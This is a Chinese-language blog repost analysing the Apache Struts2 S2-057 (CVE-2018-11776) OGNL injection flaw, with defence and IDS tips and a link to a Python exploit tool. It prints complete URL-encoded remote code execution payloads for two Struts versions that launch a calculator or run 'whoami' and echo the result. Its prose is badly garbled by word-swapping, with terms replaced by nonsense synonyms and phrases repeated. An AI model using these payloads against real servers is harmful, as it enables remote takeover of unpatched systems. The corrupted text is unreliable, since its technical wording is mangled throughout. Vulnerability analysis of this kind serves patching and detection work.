Struts2-057/CVE-2018-11776两个版本RCE漏洞分析(含EXP)

0x01 媒介

2018年8月22日,Apache Strust2宣布最新安然看护布告,Apache Struts2存在远程代码履行的高危破绽(S2-057/CVE-2018-11776),该破绽由Semmle Security Research team的安然钻研员Man YueMo发明。该破绽是因为在Struts2开拓框架中应用namespace功能定义XML设置设置设备摆设摆设时,namespace值未被设置且在上层动作设置设置设备摆设摆设(Action Configuration)中未设置或用通配符namespace,可能导致远程代码履行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码履行,颠末笔者自建情况成功复现破绽且可以履行敕令回显,文末有你们想要的 !

0x02 破绽使用

笔者搭的情况分手是Strust2 2.3.20 版本和 Strust2 2.3.34版本,破绽使用大年夜致分为三种要领:数值谋略、弹出谋略器、 敕令回显。

2.1、数值谋略

数值谋略相对最简单,在URL上指定 %{100+200} 就可以发生跳转,获得谋略的结果

2.2、弹出谋略器

2.3.20 版本的POC如下:

/%24%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C@java.lang.Runtime@getRuntime%28%29.exec%28%27calc.exe%27%29%7D/index.action

2.3.34 版本参考的POC如下:

/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29%29%7D/index.action

2.3、敕令回显

两个版本都是使用com.opensymphony.xwork2.dispatcher.HttpServletResponse工具去打印敕令履行后的回显数据

2.3.20 版本的POC如下:

/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action

2.3.34 版本的POC如下:

/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action

进击后效果如下图

0X03 破绽阐发

在阐发破绽之前,必要设置设置设备摆设摆设struts.xml文件,这个文件便是struts2的核心设置设置设备摆设摆设文件,大年夜多半的时刻增减设置设置设备摆设摆设都必要操控这里;

统共两处必要留意,第一处必然要设置设置设备摆设摆设struts.mapper.alwaysSelectFullNamespace= true ,否则不能触发破绽,这个设置设置设备摆设摆设的目的是设定是否不停在着末一个斜线之前的任何位置选定NameSpace;第二处result标签返回的类型选择 “ redirectAction 或 chain“ , 只有这两个设置设置设备摆设摆设选项的值是可以将action转发或者重定向;关于type详细可以参考下图

说完了设置设置设备摆设摆设,开始动态阐发。破绽位于 struts2-core.jar!/org/apache/struts2/dispatcher/ServletActionRedirectResult.class

This.namespace这个成员的值来自于getNamespace()措施,再经由过程getUriFromActionMapping()返回URI字符串;

经由过程getUriFromActionMapping获取的值赋给了tmpLocation变量,接着表达式进入setLocation措施

[1] [2]下一页

再经由过程super.execute措施调用了ServletActionResult , 而在execute措施体内跟进了conditionalParse措施,在这个措施内调用了ONGL履行的关键措施translateVariables。

得到的param值传入到translateVariables()措施内,终极在OnglTextPaser里导致了OGNL表达式履行。

再弹出谋略器后得到lastFinalLocation的值为当前履行后的句柄,这个值作为相应跳转的action地址 ,也便是在浏览器中弹出谋略器后在地址栏中呈现的URI

到这里弹出谋略器的阐发到此为止,接下来看下基于敕令履行回显结果的阐发,基础上流程和上述一样,独一不合之处lastFinalLocation返回的值是NULL,这也就激发出提交后没有做302的跳转,依旧是当前的action,并且返回的值是200

知道了道理后小同事用python实现了自动化使用对象,此对象用途仅供进修钻研;

0x04 防御步伐

将框架版本进级到官方最新版本;

对付Web利用来说,只管即便包管代码的安然性;

对付IDS规则层面来说,数值谋略和弹谋略器返回的状态码都是302,并且Location跳转字段含有特性句柄字符串;假如是敕令回显返回的200状态码,且有敕令结果输出;

0x05 小结

文章中说起的python EXP下载地址: https://github.com/Ivan1ee ;

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包